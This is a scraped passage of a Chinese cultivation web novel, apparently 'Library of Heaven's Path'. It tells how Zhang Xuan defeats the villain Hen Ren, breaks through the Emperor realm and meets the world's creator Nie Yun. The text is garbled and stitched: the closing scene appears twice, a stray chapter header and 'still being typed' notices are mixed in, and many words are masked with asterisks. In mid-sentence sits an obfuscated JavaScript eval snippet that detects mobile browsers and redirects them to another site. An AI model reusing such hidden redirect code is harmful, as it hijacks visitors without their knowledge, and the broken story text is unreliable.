之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第217章宫宴 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256288|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新!